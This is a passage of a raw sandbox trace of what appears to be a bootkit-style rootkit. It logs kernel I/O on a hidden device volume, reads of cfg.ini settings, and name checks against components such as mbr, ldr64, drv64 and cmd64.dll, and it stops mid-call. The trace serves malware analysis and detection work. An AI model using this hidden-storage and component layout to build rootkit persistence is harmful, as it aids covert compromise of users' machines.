Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.140] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.140] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.140] IdePortDispatch () returned 0x103 [0120.140] KeWaitForMutexObject () returned 0x0 [0120.141] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.141] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.141] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.141] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.141] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.141] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2e30 [0120.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.141] KeLeaveCriticalRegion () [0120.141] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.141] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.141] KeEnterCriticalRegion () [0120.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.141] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.141] KeLeaveCriticalRegion () [0120.141] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.141] KeEnterCriticalRegion () [0120.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.141] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.141] IdePortDispatch () returned 0x103 [0120.141] KeWaitForMutexObject () returned 0x0 [0120.141] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.141] KeLeaveCriticalRegion () [0120.141] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.141] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.141] KeEnterCriticalRegion () [0120.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.141] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003401000 [0120.142] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.142] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.142] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.142] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.142] IdePortDispatch () returned 0x103 [0120.142] KeWaitForMutexObject () returned 0x0 [0120.142] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.142] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.142] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.142] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.142] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.142] IdePortDispatch () returned 0x103 [0120.142] KeWaitForMutexObject () returned 0x0 [0120.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.142] KeLeaveCriticalRegion () [0120.142] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.143] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.143] KeEnterCriticalRegion () [0120.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.143] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.143] KeLeaveCriticalRegion () [0120.143] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.143] KeEnterCriticalRegion () [0120.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.143] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.143] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc2300, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.143] KeLeaveCriticalRegion () [0120.143] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.143] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.143] KeEnterCriticalRegion () [0120.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.143] ExFreePoolWithTag (P=0xfffffa8003bc2e30, Tag=0x0) [0120.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.143] KeLeaveCriticalRegion () [0120.143] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.143] ReleaseMutex (hMutex=0xf0) returned 1 [0120.143] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.143] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.143] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.143] KeEnterCriticalRegion () [0120.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.143] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.143] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.143] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.143] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.143] IdePortDispatch () returned 0x103 [0120.143] KeWaitForMutexObject () returned 0x0 [0120.144] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.144] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.144] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.144] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.144] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.144] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2a40 [0120.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.144] KeLeaveCriticalRegion () [0120.144] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.144] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.144] KeEnterCriticalRegion () [0120.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.144] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.144] KeLeaveCriticalRegion () [0120.144] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.144] KeEnterCriticalRegion () [0120.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.144] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.144] IdePortDispatch () returned 0x103 [0120.144] KeWaitForMutexObject () returned 0x0 [0120.144] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.144] KeLeaveCriticalRegion () [0120.144] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.144] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.144] KeEnterCriticalRegion () [0120.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003402000 [0120.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.145] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.145] IdePortDispatch () returned 0x103 [0120.145] KeWaitForMutexObject () returned 0x0 [0120.145] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.145] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.145] IdePortDispatch () returned 0x103 [0120.145] KeWaitForMutexObject () returned 0x0 [0120.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.145] KeLeaveCriticalRegion () [0120.145] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.146] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.146] KeEnterCriticalRegion () [0120.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.146] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.146] KeLeaveCriticalRegion () [0120.146] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.146] KeEnterCriticalRegion () [0120.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.146] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.146] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.146] KeLeaveCriticalRegion () [0120.146] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.146] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.146] KeEnterCriticalRegion () [0120.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.146] ExFreePoolWithTag (P=0xfffffa8003bc2a40, Tag=0x0) [0120.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.146] KeLeaveCriticalRegion () [0120.146] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.146] ReleaseMutex (hMutex=0xf0) returned 1 [0120.146] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.146] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.146] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.146] KeEnterCriticalRegion () [0120.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.146] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.146] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.146] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.146] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.146] IdePortDispatch () returned 0x103 [0120.147] KeWaitForMutexObject () returned 0x0 [0120.147] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.147] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.147] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.147] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.147] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.147] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcddb0 [0120.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.147] KeLeaveCriticalRegion () [0120.147] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.147] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.147] KeEnterCriticalRegion () [0120.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.147] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.147] KeLeaveCriticalRegion () [0120.147] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.147] KeEnterCriticalRegion () [0120.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.147] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.147] IdePortDispatch () returned 0x103 [0120.147] KeWaitForMutexObject () returned 0x0 [0120.147] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.147] KeLeaveCriticalRegion () [0120.147] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.147] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.148] KeEnterCriticalRegion () [0120.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.148] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003403000 [0120.148] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.148] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.148] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.148] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.148] IdePortDispatch () returned 0x103 [0120.148] KeWaitForMutexObject () returned 0x0 [0120.148] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.148] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.148] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.148] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.148] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.148] IdePortDispatch () returned 0x103 [0120.148] KeWaitForMutexObject () returned 0x0 [0120.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.148] KeLeaveCriticalRegion () [0120.148] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.149] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.149] KeEnterCriticalRegion () [0120.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.149] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.149] KeLeaveCriticalRegion () [0120.149] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.149] KeEnterCriticalRegion () [0120.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.149] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.149] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.149] KeLeaveCriticalRegion () [0120.149] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.149] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.149] KeEnterCriticalRegion () [0120.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.149] ExFreePoolWithTag (P=0xfffffa8003bcddb0, Tag=0x0) [0120.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.149] KeLeaveCriticalRegion () [0120.149] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.149] ReleaseMutex (hMutex=0xf0) returned 1 [0120.149] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.149] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.149] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.149] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.149] KeEnterCriticalRegion () [0120.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.149] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.149] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.149] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.149] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.149] IdePortDispatch () returned 0x103 [0120.149] KeWaitForMutexObject () returned 0x0 [0120.150] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.150] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.150] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.150] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.150] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.150] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.150] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.150] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.150] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.150] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.150] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.150] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.150] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.150] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.150] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.150] KeLeaveCriticalRegion () [0120.150] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.150] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.150] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.150] KeEnterCriticalRegion () [0120.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.150] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 